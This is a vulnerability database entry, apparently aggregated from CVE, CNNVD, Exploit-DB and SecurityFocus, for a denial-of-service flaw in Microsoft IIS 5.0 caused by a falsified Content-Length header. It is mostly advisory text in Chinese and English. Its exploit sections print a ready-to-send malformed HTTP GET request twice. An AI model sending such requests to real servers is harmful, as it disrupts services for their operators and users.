CVE-2001-1186
CVSS5.0
发布时间 :2001-12-11 00:00:00
修订时间 :2008-09-05 16:25:54
NMCOES    

[原文]Microsoft IIS 5.0 allows remote attackers to cause a denial of service via an HTTP request with a content-length value that is larger than the size of the request, which prevents IIS from timing out the connection.


[CNNVD]Microsoft IIS处理伪造的"Content-Length"失败导致拒绝服务漏洞(CNNVD-200112-092)

        
        Microsoft IIS 5.0是随Windows 2000系统一起发布的流行的Web服务器程序。
        IIS 5.0对意外情况的HTTP请求处理存在问题,远程攻击者通过向IIS 5.0发送一个精心构造的请求,可能导致IIS 5.0拒绝服务。
        当IIS 5.0接到一个包含伪造的"Content-Length"域的GET请求时,会以一种异常的方式处理该请求,即IIS 5.0保持该连接并且不超时,但是不再响应其它请求。如果攻击者发送大量的上述畸形请求,就可能使IIS无法响应正常的连接请求,有可能造成拒绝服务攻击。
        

- CVSS (基础分值)

CVSS分值: 5 [中等(MEDIUM)]
机密性影响: NONE [对系统的机密性无影响]
完整性影响: NONE [不会对系统完整性产生影响]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1186
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2001-1186
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200112-092
(官方数据源) CNNVD

- 其它链接及资源

http://www.securityfocus.com/bid/3667
(VENDOR_ADVISORY)  BID  3667
http://www.securityfocus.com/archive/1/244892
(UNKNOWN)  BUGTRAQ  20011211 Microsoft IIS/5 bogus Content-length bug.
http://www.iss.net/security_center/static/7691.php
(VENDOR_ADVISORY)  XF  iis-false-content-length-dos(7691)
http://online.securityfocus.com/archive/1/245100
(UNKNOWN)  BUGTRAQ  20011212 Microsoft IIS/5.0 Content-Length DoS (proved)
http://online.securityfocus.com/archive/1/244931
(UNKNOWN)  BUGTRAQ  20011211 Microsoft IIS/5 bogus Content-length bug Memory attack

- 漏洞信息

Microsoft IIS处理伪造的"Content-Length"失败导致拒绝服务漏洞
中危 其他
2001-12-11 00:00:00 2005-05-13 00:00:00
远程  
        
        Microsoft IIS 5.0是随Windows 2000系统一起发布的流行的Web服务器程序。
        IIS 5.0对意外情况的HTTP请求处理存在问题,远程攻击者通过向IIS 5.0发送一个精心构造的请求,可能导致IIS 5.0拒绝服务。
        当IIS 5.0接到一个包含伪造的"Content-Length"域的GET请求时,会以一种异常的方式处理该请求,即IIS 5.0保持该连接并且不超时,但是不再响应其它请求。如果攻击者发送大量的上述畸形请求,就可能使IIS无法响应正常的连接请求,有可能造成拒绝服务攻击。
        

- 公告与补丁

        临时解决方法:
        如果您不能立刻安装补丁或者升级,CNNVD建议您采取以下措施以降低威胁:
        * 通过配置限制非信任主机对80端口的访问。
        厂商补丁:
        Microsoft
        ---------
        目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
        
        http://www.microsoft.com

- 漏洞信息 (21177)

Microsoft IIS 5.0 False Content-Length Field DoS Vulnerability (EDBID:21177)
windows dos
2001-12-11 Verified
0 Ivan Hernandez Puga
N/A [点击下载]
source: http://www.securityfocus.com/bid/3667/info

Microsoft IIS 5.0 may be prone to a denial of service condition when sent a specially crafted malformed HTTP GET header.

If an IIS 5.0 web server is sent a crafted HTTP GET request which contains a falsified and excessive "Content-Length" field, it behaves in an unusual manner. The server keeps the connection open and does not time out, but does not respond otherwise. It is possible that this may be used to cause a denial of service to the web server. 

The following HTTP GET Header, containing a falsified Content-Length field, is sufficient to cause the unexpected behavior:

GET /testfile HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
application/vnd.ms-excel, application/vnd.ms-powerpoint,
application/msword, */*
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)
Host: 192.168.0.10
Connection: Keep-Alive
Content-Length: 5300643
Authorization: Basic 		

- 漏洞信息

13439
Microsoft IIS HTTP Request Malformed Content-Length Parsing Remote DoS
Denial of Service
Loss of Availability

- 漏洞描述

- 时间线

2001-12-11 Unknow
2001-12-11 Unknow

- 解决方案

OSVDB is not aware of a solution for this vulnerability.

- 相关参考

- 漏洞作者

Unknown or Incomplete

- 漏洞信息

Microsoft IIS False Content-Length Field DoS Vulnerability
Failure to Handle Exceptional Conditions 3667
Yes No
2001-12-11 12:00:00 2009-07-11 09:06:00
This vulnerability was submitted to BugTraq by "Ivan Hernandez Puga" <ivan.hernandez@globalsis.com.ar> on December 11th, 2001.

- 受影响的程序版本

Microsoft IIS 5.0
- Microsoft Windows 2000 Advanced Server SP2
- Microsoft Windows 2000 Advanced Server SP2
- Microsoft Windows 2000 Advanced Server SP1
- Microsoft Windows 2000 Advanced Server SP1
+ Microsoft Windows 2000 Advanced Server
+ Microsoft Windows 2000 Advanced Server
- Microsoft Windows 2000 Datacenter Server SP2
- Microsoft Windows 2000 Datacenter Server SP2
- Microsoft Windows 2000 Datacenter Server SP1
- Microsoft Windows 2000 Datacenter Server SP1
- Microsoft Windows 2000 Professional SP2
- Microsoft Windows 2000 Professional SP2
- Microsoft Windows 2000 Professional SP1
- Microsoft Windows 2000 Professional SP1
+ Microsoft Windows 2000 Professional
+ Microsoft Windows 2000 Professional
- Microsoft Windows 2000 Server SP2
- Microsoft Windows 2000 Server SP2
- Microsoft Windows 2000 Server SP1
- Microsoft Windows 2000 Server SP1
+ Microsoft Windows 2000 Server
+ Microsoft Windows 2000 Server

- 漏洞讨论

Microsoft IIS 5.0 may be prone to a denial of service condition when sent a specially crafted malformed HTTP GET header.

If an IIS 5.0 web server is sent a crafted HTTP GET request which contains a falsified and excessive "Content-Length" field, it behaves in an unusual manner. The server keeps the connection open and does not time out, but does not respond otherwise. It is possible that this may be used to cause a denial of service to the web server.

- 漏洞利用

The following HTTP GET Header, containing a falsified Content-Length field, is sufficient to cause the unexpected behavior:

GET /testfile HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
application/vnd.ms-excel, application/vnd.ms-powerpoint,
application/msword, */*
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)
Host: 192.168.0.10
Connection: Keep-Alive
Content-Length: 5300643
Authorization: Basic

- 解决方案

Currently the SecurityFocus staff are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: vuldb@securityfocus.com <mailto:vuldb@securityfocus.com>.

- 相关参考

     

     

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